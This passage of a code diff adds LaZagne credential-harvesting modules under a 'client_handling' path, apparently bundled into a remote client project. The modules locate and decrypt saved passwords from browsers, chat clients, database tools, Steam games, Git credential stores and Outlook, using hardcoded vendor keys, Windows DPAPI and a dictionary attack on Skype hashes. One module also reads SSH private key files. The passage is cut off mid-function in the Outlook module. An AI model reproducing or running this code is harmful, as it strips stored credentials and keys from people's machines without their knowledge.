+# -*- coding: utf-8 -*-
+import os
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.softwares.browsers.chromium_based import ChromiumBased
+
+
+class UCBrowser(ChromiumBased):
+ def __init__(self):
+ self.database_query = 'SELECT action_url, username_value, password_value FROM wow_logins'
+ ModuleInfo.__init__(self, 'uc browser', 'browsers', winapi_used=True)
+
+ def _get_database_dirs(self):
+ data_dir = u'{LOCALAPPDATA}\\UCBrowser'.format(**constant.profile)
+ try:
+ # UC Browser seems to have random characters appended to the User Data dir so we'll list them all
+ self.paths = [os.path.join(data_dir, d) for d in os.listdir(data_dir)]
+ except Exception:
+ self.paths = []
+ return ChromiumBased._get_database_dirs(self)
diff --git a/foreign/client_handling/lazagne/softwares/chats/__init__.py b/foreign/client_handling/lazagne/softwares/chats/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/chats/__init__.py
diff --git a/foreign/client_handling/lazagne/softwares/chats/pidgin.py b/foreign/client_handling/lazagne/softwares/chats/pidgin.py
new file mode 100644
index 0000000..072a76d
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/chats/pidgin.py
@@ -0,0 +1,28 @@
+# -*- coding: utf-8 -*-
+import os
+from xml.etree.cElementTree import ElementTree
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+
+
+class Pidgin(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'pidgin', 'chats')
+
+ def run(self):
+ path = os.path.join(constant.profile['APPDATA'], u'.purple', u'accounts.xml')
+ if os.path.exists(path):
+ tree = ElementTree(file=path)
+ root = tree.getroot()
+ pwd_found = []
+
+ for account in root.findall('account'):
+ name = account.find('name')
+ password = account.find('password')
+ if all((name, password)):
+ pwd_found.append({
+ 'Login': name.text,
+ 'Password': password.text
+ })
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/chats/psi.py b/foreign/client_handling/lazagne/softwares/chats/psi.py
new file mode 100644
index 0000000..a2afdd7
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/chats/psi.py
@@ -0,0 +1,64 @@
+# -*- coding: utf-8 -*-
+import os
+from xml.etree.cElementTree import ElementTree
+from glob import glob
+from itertools import cycle
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import char_to_int
+
+
+class PSI(ModuleInfo):
+ def __init__(self):
+ self.pwd_found = []
+
+ ModuleInfo.__init__(self, 'psi-im', 'chats')
+
+ def get_profiles_files(self):
+ _dirs = (
+ u'psi\\profiles\\*\\accounts.xml',
+ u'psi+\\profiles\\*\\accounts.xml',
+ )
+
+ for one_dir in _dirs:
+ _path = os.path.join(constant.profile['APPDATA'], one_dir)
+ accs_files = glob(_path)
+ for one_file in accs_files:
+ yield one_file
+
+ # Thanks to https://github.com/jose1711/psi-im-decrypt
+ def decode_password(self, password, jid):
+ result = ''
+ jid = cycle(jid)
+ for n1 in range(0, len(password), 4):
+ x = int(password[n1:n1 + 4], 16)
+ result += chr(x ^ char_to_int(next(jid)))
+
+ return result
+
+ def process_one_file(self, _path):
+ root = ElementTree(file=_path).getroot()
+
+ for item in root:
+ if item.tag == '{http://psi-im.org/options}accounts':
+ for acc in item:
+ values = {}
+
+ for x in acc:
+ if x.tag == '{http://psi-im.org/options}jid':
+ values['Login'] = x.text
+
+ elif x.tag == '{http://psi-im.org/options}password':
+ values['Password'] = x.text
+
+ values['Password'] = self.decode_password(values['Password'], values['Login'])
+
+ if values:
+ self.pwd_found.append(values)
+
+ def run(self):
+ for one_file in self.get_profiles_files():
+ self.process_one_file(one_file)
+
+ return self.pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/chats/skype.py b/foreign/client_handling/lazagne/softwares/chats/skype.py
new file mode 100644
index 0000000..7970c7b
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/chats/skype.py
@@ -0,0 +1,144 @@
+# -*- coding: utf-8 -*-
+import binascii
+import hashlib
+import os
+import struct
+from xml.etree.cElementTree import ElementTree
+
+import foreign.client_handling.lazagne.config.winstructure as win
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC
+from foreign.client_handling.lazagne.config.dico import get_dic
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+
+try:
+ import _winreg as winreg
+except ImportError:
+ import winreg
+
+
+class Skype(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'skype', 'chats', winapi_used=True)
+
+ self.pwd_found = []
+
+ def aes_encrypt(self, message, passphrase):
+ iv = '\x00' * 16
+ aes = AESModeOfOperationCBC(passphrase, iv=iv)
+ return aes.encrypt(message)
+
+ # get value used to build the salt
+ def get_regkey(self):
+ try:
+ key_path = 'Software\\Skype\\ProtectedStorage'
+ try:
+ hkey = win.OpenKey(win.HKEY_CURRENT_USER, key_path)
+ except Exception as e:
+ self.debug(str(e))
+ return False
+
+ # num = winreg.QueryInfoKey(hkey)[1]
+ k = winreg.EnumValue(hkey, 0)[1]
+ return win.Win32CryptUnprotectData(k, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi)
+ except Exception as e:
+ self.debug(str(e))
+ return False
+
+ # get hash from foreign.client_handling.lazagne.configuration file
+ def get_hash_credential(self, xml_file):
+ tree = ElementTree(file=xml_file)
+ encrypted_hash = tree.find('Lib/Account/Credentials3')
+ if encrypted_hash is not None:
+ return encrypted_hash.text
+ else:
+ return False
+
+ # decrypt hash to get the md5 to bruteforce
+ def get_md5_hash(self, enc_hex, key):
+ # convert hash from hex to binary
+ enc_binary = binascii.unhexlify(enc_hex)
+
+ # retrieve the salt
+ salt = hashlib.sha1('\x00\x00\x00\x00' + key).digest() + hashlib.sha1('\x00\x00\x00\x01' + key).digest()
+
+ # encrypt value used with the XOR operation
+ aes_key = self.aes_encrypt(struct.pack('I', 0) * 4, salt[0:32])[0:16]
+
+ # XOR operation
+ decrypted = []
+ for d in range(16):
+ decrypted.append(struct.unpack('B', enc_binary[d])[0] ^ struct.unpack('B', aes_key[d])[0])
+
+ # cast the result byte
+ tmp = ''
+ for dec in decrypted:
+ tmp = tmp + struct.pack(">I", dec).strip('\x00')
+
+ # byte to hex
+ return binascii.hexlify(tmp)
+
+ def dictionary_attack(self, login, md5):
+ wordlist = constant.password_found + get_dic()
+ for word in wordlist:
+ hash_ = hashlib.md5('%s\nskyper\n%s' % (login, word)).hexdigest()
+ if hash_ == md5:
+ return word
+ return False
+
+ def get_username(self, path):
+ xml_file = os.path.join(path, u'shared.xml')
+ if os.path.exists(xml_file):
+ tree = ElementTree(file=xml_file)
+ username = tree.find('Lib/Account/Default')
+ try:
+ return win.string_to_unicode(username.text)
+ except Exception:
+ pass
+ return False
+
+ def get_info(self, key, username, path):
+ if os.path.exists(os.path.join(path, u'config.xml')):
+ values = {}
+
+ try:
+ values['Login'] = username
+
+ # get encrypted hash from the config file
+ enc_hex = self.get_hash_credential(os.path.join(path, u'config.xml'))
+
+ if not enc_hex:
+ self.warning(u'No credential stored on the config.xml file.')
+ else:
+ # decrypt the hash to get the md5 to brue force
+ values['Hash'] = self.get_md5_hash(enc_hex, key)
+ values['Pattern to bruteforce using md5'] = win.string_to_unicode(values['Login']) + u'\\nskyper\\n<password>'
+
+ # Try a dictionary attack on the hash
+ password = self.dictionary_attack(values['Login'], values['Hash'])
+ if password:
+ values['Password'] = password
+
+ self.pwd_found.append(values)
+ except Exception as e:
+ self.debug(str(e))
+
+ def run(self):
+ path = os.path.join(constant.profile['APPDATA'], u'Skype')
+ if os.path.exists(path):
+ # retrieve the key used to build the salt
+ key = self.get_regkey()
+ if not key:
+ self.error(u'The salt has not been retrieved')
+ else:
+ username = self.get_username(path)
+ if username:
+ d = os.path.join(path, username)
+ if os.path.exists(d):
+ self.get_info(key, username, d)
+
+ if not self.pwd_found:
+ for d in os.listdir(path):
+ self.get_info(key, d, os.path.join(path, d))
+
+ return self.pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/databases/__init__.py b/foreign/client_handling/lazagne/softwares/databases/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/databases/__init__.py
diff --git a/foreign/client_handling/lazagne/softwares/databases/dbvis.py b/foreign/client_handling/lazagne/softwares/databases/dbvis.py
new file mode 100644
index 0000000..c76060b
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/databases/dbvis.py
@@ -0,0 +1,79 @@
+# -*- coding: utf-8 -*-
+import array
+import base64
+import binascii
+import hashlib
+import os
+import re
+from xml.etree.cElementTree import ElementTree
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.crypto.pyDes import des, CBC
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+
+
+class Dbvisualizer(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, name='dbvis', category='databases')
+
+ self._salt = self.get_salt()
+ self._passphrase = 'qinda'
+ self._iteration = 10
+
+ def get_salt(self):
+ salt_array = [-114, 18, 57, -100, 7, 114, 111, 90]
+ salt = array.array('b', salt_array)
+ hexsalt = binascii.hexlify(salt)
+ return binascii.unhexlify(hexsalt)
+
+ def get_derived_key(self, password, salt, count):
+ key = bytearray(password) + salt
+
+ for i in range(count):
+ m = hashlib.md5(key)
+ key = m.digest()
+ return key[:8], key[8:]
+
+ def decrypt(self, msg):
+ enc_text = base64.b64decode(msg)
+ (dk, iv) = self.get_derived_key(self._passphrase, self._salt, self._iteration)
+ crypter = des(dk, CBC, iv)
+ text = crypter.decrypt(enc_text)
+ return re.sub(r'[\x01-\x08]', '', text)
+
+ def run(self):
+ path = os.path.join(constant.profile['HOMEPATH'], u'.dbvis', u'config70', u'dbvis.xml')
+ if os.path.exists(path):
+ tree = ElementTree(file=path)
+
+ pwd_found = []
+ elements = {'Alias': 'Name', 'Userid': 'Login', 'Password': 'Password', 'UrlVariables//Driver': 'Driver'}
+
+ for e in tree.findall('Databases/Database'):
+ values = {}
+ for elem in elements:
+ try:
+ if elem != "Password":
+ values[elements[elem]] = e.find(elem).text
+ else:
+ values[elements[elem]] = self.decrypt(e.find(elem).text)
+ except Exception:
+ pass
+
+ try:
+ elem = e.find('UrlVariables')
+ for ee in elem.getchildren():
+ for ele in ee.getchildren():
+ if 'Server' == ele.attrib['UrlVariableName']:
+ values['Host'] = str(ele.text)
+ if 'Port' == ele.attrib['UrlVariableName']:
+ values['Port'] = str(ele.text)
+ if 'SID' == ele.attrib['UrlVariableName']:
+ values['SID'] = str(ele.text)
+ except Exception:
+ pass
+
+ if values:
+ pwd_found.append(values)
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/databases/postgresql.py b/foreign/client_handling/lazagne/softwares/databases/postgresql.py
new file mode 100644
index 0000000..e2ecfb6
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/databases/postgresql.py
@@ -0,0 +1,32 @@
+# -*- coding: utf-8 -*-
+
+import os
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+
+
+class PostgreSQL(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, name='postgresql', category='databases')
+
+ def run(self):
+ path = os.path.join(constant.profile['APPDATA'], u'postgresql', u'pgpass.conf')
+ if os.path.exists(path):
+ with open(path) as f:
+ pwd_found = []
+ for line in f.readlines():
+ try:
+ items = line.strip().split(':')
+ pwd_found.append({
+ 'Hostname': items[0],
+ 'Port': items[1],
+ 'DB': items[2],
+ 'Username': items[3],
+ 'Password': items[4]
+ })
+
+ except Exception:
+ pass
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/databases/robomongo.py b/foreign/client_handling/lazagne/softwares/databases/robomongo.py
new file mode 100644
index 0000000..f7148d4
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/databases/robomongo.py
@@ -0,0 +1,101 @@
+# -*- coding: utf-8 -*-
+import json
+import os
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+
+
+class Robomongo(ModuleInfo):
+
+ def __init__(self):
+ ModuleInfo.__init__(self, 'robomongo', 'databases')
+
+ self.paths = [
+ {
+ 'directory': u'.config/robomongo',
+ 'filename': u'robomongo.json',
+ },
+ {
+ 'directory': u'.3T/robo-3t/1.1.1',
+ 'filename': u'robo3t.json',
+ }
+ ]
+
+ def read_file_content(self, file_path):
+ """
+ Read the content of a file
+
+ :param file_path: Path of the file to read.
+
+ :return: File content as string.
+ """
+ content = ""
+ if os.path.isfile(file_path):
+ with open(file_path, 'r') as file_handle:
+ content = file_handle.read()
+
+ return content
+
+ def parse_json(self, connection_file_path):
+ repos_creds = []
+ if not os.path.exists(connection_file_path):
+ return repos_creds
+ with open(connection_file_path) as connection_file:
+ try:
+ connections_infos = json.load(connection_file)
+ except Exception:
+ return repos_creds
+ for connection in connections_infos.get("connections", []):
+ try:
+ creds = {
+ "Name": connection["connectionName"],
+ "Host": connection["serverHost"],
+ "Port": connection["serverPort"]
+ }
+ crd = connection["credentials"][0]
+ if crd.get("enabled"):
+ creds.update({
+ "AuthMode": "CREDENTIALS",
+ "DatabaseName": crd["databaseName"],
+ "AuthMechanism": crd["mechanism"],
+ "Login": crd["userName"],
+ "Password": crd["userPassword"]
+ })
+ else:
+ creds.update({
+ "Host": connection["ssh"]["host"],
+ "Port": connection["ssh"]["port"],
+ "Login": connection["ssh"]["userName"]
+ })
+ if connection["ssh"]["enabled"] and connection["ssh"]["method"] == "password":
+ creds.update({
+ "AuthMode": "SSH_CREDENTIALS",
+ "Password": connection["ssh"]["userPassword"]
+ })
+ else:
+ creds.update({
+ "AuthMode": "SSH_PRIVATE_KEY",
+ "Passphrase": connection["ssh"]["passphrase"],
+ "PrivateKey": self.read_file_content(connection["ssh"]["privateKeyFile"]),
+ "PublicKey": self.read_file_content(connection["ssh"]["publicKeyFile"])
+ })
+ repos_creds.append(creds)
+ except Exception as e:
+ self.error(u"Cannot retrieve connections credentials '{error}'".format(error=e))
+
+ return repos_creds
+
+ def run(self):
+ """
+ Extract all connection's credentials.
+
+ :return: List of dict in which one dict contains all information for a connection.
+ """
+ pwd_found = []
+ for directory in self.paths:
+ connection_file_path = os.path.join(constant.profile['USERPROFILE'],
+ directory['directory'],
+ directory['filename'])
+ pwd_found.extend(self.parse_json(connection_file_path))
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/databases/sqldeveloper.py b/foreign/client_handling/lazagne/softwares/databases/sqldeveloper.py
new file mode 100644
index 0000000..c8e7e36
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/databases/sqldeveloper.py
@@ -0,0 +1,106 @@
+# -*- coding: utf-8 -*-
+import array
+import base64
+import binascii
+import hashlib
+import os
+import re
+from xml.etree.cElementTree import ElementTree
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.crypto.pyDes import des, CBC
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+
+
+class SQLDeveloper(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'sqldeveloper', 'databases')
+
+ self._salt = self.get_salt()
+ self._passphrase = None
+ self._iteration = 42
+
+ def get_salt(self):
+ salt_array = [5, 19, -103, 66, -109, 114, -24, -83]
+ salt = array.array('b', salt_array)
+ hexsalt = binascii.hexlify(salt)
+ return binascii.unhexlify(hexsalt)
+
+ def get_derived_key(self, password, salt, count):
+ key = bytearray(password) + salt
+ for i in range(count):
+ m = hashlib.md5(key)
+ key = m.digest()
+ return key[:8], key[8:]
+
+ def decrypt(self, msg):
+ enc_text = base64.b64decode(msg)
+ (dk, iv) = self.get_derived_key(self._passphrase, self._salt, self._iteration)
+ crypter = des(dk, CBC, iv)
+ text = crypter.decrypt(enc_text)
+ return re.sub(r'[\x01-\x08]', '', text)
+
+ def get_passphrase(self, path):
+ xml_name = u'product-preferences.xml'
+ xml_file = None
+
+ if os.path.exists(os.path.join(path, xml_name)):
+ xml_file = os.path.join(path, xml_name)
+ else:
+ for p in os.listdir(path):
+ if p.startswith('system'):
+ new_directory = os.path.join(path, p)
+
+ for pp in os.listdir(new_directory):
+ if pp.startswith(u'o.sqldeveloper'):
+ if os.path.exists(os.path.join(new_directory, pp, xml_name)):
+ xml_file = os.path.join(new_directory, pp, xml_name)
+ break
+ if xml_file:
+ tree = ElementTree(file=xml_file)
+ for elem in tree.iter():
+ if 'n' in elem.attrib.keys():
+ if elem.attrib['n'] == 'db.system.id':
+ return elem.attrib['v']
+
+ def run(self):
+ path = os.path.join(constant.profile['APPDATA'], u'SQL Developer')
+ if os.path.exists(path):
+ self._passphrase = self.get_passphrase(path)
+ if self._passphrase:
+ self.debug(u'Passphrase found: {passphrase}'.format(passphrase=self._passphrase))
+ xml_name = u'connections.xml'
+ xml_file = None
+
+ if os.path.exists(os.path.join(path, xml_name)):
+ xml_file = os.path.join(path, xml_name)
+ else:
+ for p in os.listdir(path):
+ if p.startswith('system'):
+ new_directory = os.path.join(path, p)
+
+ for pp in os.listdir(new_directory):
+ if pp.startswith(u'o.jdeveloper.db.connection'):
+ if os.path.exists(os.path.join(new_directory, pp, xml_name)):
+ xml_file = os.path.join(new_directory, pp, xml_name)
+ break
+
+ if xml_file:
+ renamed_value = {'sid': 'SID', 'port': 'Port', 'hostname': 'Host', 'user': 'Login',
+ 'password': 'Password', 'ConnName': 'Name', 'customUrl': 'URL',
+ 'SavePassword': 'SavePassword', 'driver': 'Driver'}
+ tree = ElementTree(file=xml_file)
+
+ pwd_found = []
+ for e in tree.findall('Reference'):
+ values = {}
+ for ee in e.findall('RefAddresses/StringRefAddr'):
+ if ee.attrib['addrType'] in renamed_value and ee.find('Contents').text is not None:
+ name = renamed_value[ee.attrib['addrType']]
+ value = ee.find('Contents').text if name != 'Password' else self.decrypt(
+ ee.find('Contents').text)
+ values[name] = value
+
+ pwd_found.append(values)
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/databases/squirrel.py b/foreign/client_handling/lazagne/softwares/databases/squirrel.py
new file mode 100644
index 0000000..4115fac
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/databases/squirrel.py
@@ -0,0 +1,27 @@
+# -*- coding: utf-8 -*-
+import os
+from xml.etree.cElementTree import ElementTree
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+
+
+class Squirrel(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, name='squirrel', category='databases')
+
+ def run(self):
+ path = os.path.join(constant.profile['USERPROFILE'], u'.squirrel-sql', u'SQLAliases23.xml')
+ if os.path.exists(path):
+ tree = ElementTree(file=path)
+ pwd_found = []
+ elements = {'name': 'Name', 'url': 'URL', 'userName': 'Login', 'password': 'Password'}
+ for elem in tree.iter('Bean'):
+ values = {}
+ for e in elem:
+ if e.tag in elements:
+ values[elements[e.tag]] = e.text
+ if values:
+ pwd_found.append(values)
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/games/__init__.py b/foreign/client_handling/lazagne/softwares/games/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/games/__init__.py
diff --git a/foreign/client_handling/lazagne/softwares/games/galconfusion.py b/foreign/client_handling/lazagne/softwares/games/galconfusion.py
new file mode 100644
index 0000000..b4279c5
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/games/galconfusion.py
@@ -0,0 +1,55 @@
+# -*- coding: utf-8 -*-
+
+import os
+
+try:
+ import _winreg as winreg
+except ImportError:
+ import winreg
+
+import foreign.client_handling.lazagne.config.winstructure as win
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import string_to_unicode
+
+
+class GalconFusion(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'galconfusion', 'games', registry_used=True)
+
+ def run(self):
+ creds = []
+ results = None
+
+ # Find the location of steam - to make it easier we're going to use a try block
+ # 'cos I'm lazy
+ try:
+ with win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\Valve\\Steam') as key:
+ results = winreg.QueryValueEx(key, 'SteamPath')
+ except Exception:
+ pass
+
+ if results:
+ steampath = string_to_unicode(results[0])
+ userdata = os.path.join(steampath, u'userdata')
+
+ # Check that we have a userdata directory
+ if not os.path.exists(userdata):
+ self.error(u'Steam doesn\'t have a userdata directory.')
+ return
+
+ # Now look for Galcon Fusion in every user
+ for f in os.listdir(userdata):
+ filepath = os.path.join(userdata, string_to_unicode(f), u'44200\\remote\\galcon.cfg')
+ if not os.path.exists(filepath):
+ continue
+
+ # If we're here we should have a Galcon Fusion file
+ with open(filepath, mode='rb') as cfgfile:
+ # We've found a config file, now extract the creds
+ data = cfgfile.read()
+ creds.append({
+ 'Login': data[4:0x23],
+ 'Password': data[0x24:0x43]
+ })
+
+ return creds
diff --git a/foreign/client_handling/lazagne/softwares/games/kalypsomedia.py b/foreign/client_handling/lazagne/softwares/games/kalypsomedia.py
new file mode 100644
index 0000000..566aba7
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/games/kalypsomedia.py
@@ -0,0 +1,42 @@
+# -*- coding: utf-8 -*-
+import base64
+import os
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import char_to_int, chr_or_byte
+
+try:
+ from ConfigParser import ConfigParser # Python 2.7
+except ImportError:
+ from configparser import ConfigParser # Python 3
+
+
+class KalypsoMedia(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'kalypsomedia', 'games')
+
+ def xorstring(self, s, k):
+ """
+ xors the two strings
+ """
+ return b''.join(chr_or_byte(char_to_int(x) ^ char_to_int(y)) for x, y in zip(s, k))
+
+ def run(self):
+ creds = []
+ key = b'lwSDFSG34WE8znDSmvtwGSDF438nvtzVnt4IUv89'
+ inifile = os.path.join(constant.profile['APPDATA'], u'Kalypso Media\\Launcher\\launcher.ini')
+
+ # The actual user details are stored in *.userdata files
+ if os.path.exists(inifile):
+ config = ConfigParser()
+ config.read(inifile)
+
+ # get the encoded password
+ cookedpw = base64.b64decode(config.get('styx user', 'password'))
+
+ creds.append({
+ 'Login': config.get('styx user', 'login'),
+ 'Password': self.xorstring(cookedpw, key)
+ })
+ return creds
diff --git a/foreign/client_handling/lazagne/softwares/games/roguestale.py b/foreign/client_handling/lazagne/softwares/games/roguestale.py
new file mode 100644
index 0000000..ded16eb
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/games/roguestale.py
@@ -0,0 +1,41 @@
+# -*- coding: utf-8 -*-
+import os
+import re
+from xml.etree.cElementTree import ElementTree
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+
+
+class RoguesTale(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'roguestale', 'games')
+
+ def run(self):
+ creds = []
+ directory = constant.profile['USERPROFILE'] + u'\\Documents\\Rogue\'s Tale\\users'
+
+ # The actual user details are stored in *.userdata files
+ if os.path.exists(directory):
+ files = os.listdir(directory)
+
+ for f in files:
+ if re.match('.*\.userdata', f):
+ # We've found a user file, now extract the hash and username
+
+ xmlfile = directory + '\\' + f
+ tree = ElementTree(file=xmlfile)
+ root = tree.getroot()
+
+ # Double check to make sure that the file is valid
+ if root.tag != 'user':
+ self.warning(u'Profile %s does not appear to be valid' % f)
+ continue
+
+ # Now save it to credentials
+ creds.append({
+ 'Login': root.attrib['username'],
+ 'Hash': root.attrib['password']
+ })
+
+ return creds
diff --git a/foreign/client_handling/lazagne/softwares/games/turba.py b/foreign/client_handling/lazagne/softwares/games/turba.py
new file mode 100644
index 0000000..f3604a8
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/games/turba.py
@@ -0,0 +1,55 @@
+# -*- coding: utf-8 -*-
+
+import os
+
+try:
+ import _winreg as winreg
+except ImportError:
+ import winreg
+
+import foreign.client_handling.lazagne.config.winstructure as win
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import string_to_unicode
+
+
+class Turba(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'turba', 'games', registry_used=True)
+
+ def run(self):
+ creds = []
+ results = None
+
+ # Find the location of steam - to make it easier we're going to use a try block
+ # 'cos I'm lazy
+ try:
+ with win.OpenKey(win.HKEY_CURRENT_USER, 'Software\Valve\Steam') as key:
+ results = winreg.QueryValueEx(key, 'SteamPath')
+ except Exception:
+ pass
+
+ if results:
+ steampath = string_to_unicode(results[0])
+ steamapps = os.path.join(steampath, u'SteamApps\common')
+
+ # Check that we have a SteamApps directory
+ if not os.path.exists(steamapps):
+ self.error(u'Steam doesn\'t have a SteamApps directory.')
+ return
+
+ filepath = os.path.join(steamapps, u'Turba\\Assets\\Settings.bin')
+
+ if not os.path.exists(filepath):
+ self.debug(u'Turba doesn\'t appear to be installed.')
+ return
+
+ # If we're here we should have a valid config file file
+ with open(filepath, mode='rb') as filepath:
+ # We've found a config file, now extract the creds
+ data = filepath.read()
+ chunk = data[0x1b:].split('\x0a')
+ creds.append({
+ 'Login': chunk[0],
+ 'Password': chunk[1]
+ })
+ return creds
diff --git a/foreign/client_handling/lazagne/softwares/git/__init__.py b/foreign/client_handling/lazagne/softwares/git/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/git/__init__.py
diff --git a/foreign/client_handling/lazagne/softwares/git/gitforwindows.py b/foreign/client_handling/lazagne/softwares/git/gitforwindows.py
new file mode 100644
index 0000000..82ccdda
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/git/gitforwindows.py
@@ -0,0 +1,61 @@
+# -*- coding: utf-8 -*-
+import os
+
+try:
+ from urlparse import urlparse
+except ImportError:
+ from urllib import parse as urlparse
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import string_to_unicode
+
+
+class GitForWindows(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'gitforwindows', 'git')
+
+ def extract_credentials(self, location):
+ """
+ Extract the credentials from a Git store file.
+ See "https://git-scm.com/docs/git-credential-store" for file format.
+
+ :param location: Full path to the Git store file
+ :return: List of credentials founds
+ """
+ pwd_found = []
+ if os.path.isfile(location):
+ with open(location) as f:
+ # One line have the following format: https://user:pass@example.com
+ for cred in f:
+ if len(cred) > 0:
+ parts = urlparse(cred)
+ pwd_found.append((
+ parts.geturl().replace(parts.username + ":" + parts.password + "@", "").strip(),
+ parts.username,
+ parts.password
+ ))
+
+ return pwd_found
+
+ def run(self):
+ """
+ Main function
+ """
+
+ # According to the "git-credential-store" documentation:
+ # Build a list of locations in which git credentials can be stored
+ locations = [
+ os.path.join(constant.profile["USERPROFILE"], u'.git-credentials'),
+ os.path.join(constant.profile["USERPROFILE"], u'.config\\git\\credentials'),
+ ]
+ if "XDG_CONFIG_HOME" in os.environ:
+ locations.append(os.path.join(string_to_unicode(os.environ.get('XDG_CONFIG_HOME')), u'git\\credentials'))
+
+ # Apply the password extraction on the defined locations
+ pwd_found = []
+ for location in locations:
+ pwd_found += self.extract_credentials(location)
+
+ # Filter duplicates
+ return [{'URL': url, 'Login': login, 'Password': password} for url, login, password in set(pwd_found)]
diff --git a/foreign/client_handling/lazagne/softwares/mails/__init__.py b/foreign/client_handling/lazagne/softwares/mails/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/mails/__init__.py
diff --git a/foreign/client_handling/lazagne/softwares/mails/outlook.py b/foreign/client_handling/lazagne/softwares/mails/outlook.py
new file mode 100644
index 0000000..21cf6b8
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/mails/outlook.py
@@ -0,0 +1,66 @@
+# -*- coding: utf-8 -*-
+try:
+ import _winreg as winreg
+except ImportError:
+ import winreg
+
+import foreign.client_handling.lazagne.config.winstructure as win
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import constant
+
+
+class Outlook(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'outlook', 'mails', registry_used=True, winapi_used=True)
+
+ def run(self):
+ key_path = 'Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook'
+ try:
+ hkey = win.OpenKey(win.HKEY_CURRENT_USER, key_path)
+ except Exception as e:
+ self.debug(e)
+ return
+
+ num = winreg.QueryInfoKey(hkey)[0]
+ pwd_found = []
+ for x in range(0, num):
+ name = winreg.EnumKey(hkey, x)
+ skey = win.OpenKey(hkey, name, 0, win.ACCESS_READ)
+
+ num_skey = winreg.QueryInfoKey(skey)[0]
+ if num_skey != 0:
+ for y in range(0, num_skey):
+ name_skey = winreg.EnumKey(skey, y)
+ sskey = win.OpenKey(skey, name_skey)
+ num_sskey = winreg.QueryInfoKey(sskey)[1]
+
+ for z in range(0, num_sskey):
+ k = winreg.EnumValue(sskey, z)
+ if 'password' in k[0].lower():
+ values = self.retrieve_info(sskey, name_skey)
+
+ if values:
+ pwd_found.append(values)
+
+ winreg.CloseKey(skey)
+ winreg.CloseKey(hkey)
+ return pwd_found
+
+ def retrieve_info(self, hkey, name_key):
+ values = {}
